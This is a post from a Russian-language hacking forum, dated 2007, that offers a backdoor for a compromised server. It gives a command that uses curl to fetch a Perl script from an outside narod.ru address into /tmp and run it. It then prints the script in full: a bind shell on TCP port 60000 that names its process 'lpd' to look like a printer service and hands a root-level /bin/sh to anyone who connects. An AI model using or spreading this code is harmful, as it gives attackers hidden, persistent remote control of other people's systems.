Показать сообщение отдельно

  #29  
Старый 19.08.2007, 19:14
fly
Постоянный
Регистрация: 15.04.2007
Сообщений: 645
Провел на форуме:
967842

Репутация: 251


По умолчанию

или просто залей back.pl в tmp и выполни. Сценарий system("cd /tmp;curl --output /tmp/b.pl http://narod.ru/b.pl";perl b.pl);

CODE b.pl:

Код:
#!/usr/bin/perl

use Socket;

$port	= 60000;
$proto	= getprotobyname('tcp');
$cmd	= "lpd";
$system	= 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';

$0 = $cmd;

socket(SERVER, PF_INET, SOCK_STREAM, $proto)
					or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
					or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
					or die "bind: $!";
listen(SERVER, SOMAXCONN)		or die "listen: $!";

for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
	open(STDIN, ">&CLIENT");
	open(STDOUT, ">&CLIENT");
	open(STDERR, ">&CLIENT");

	system($system);

	close(STDIN);
	close(STDOUT);
	close(STDERR);
}
 
Ответить с цитированием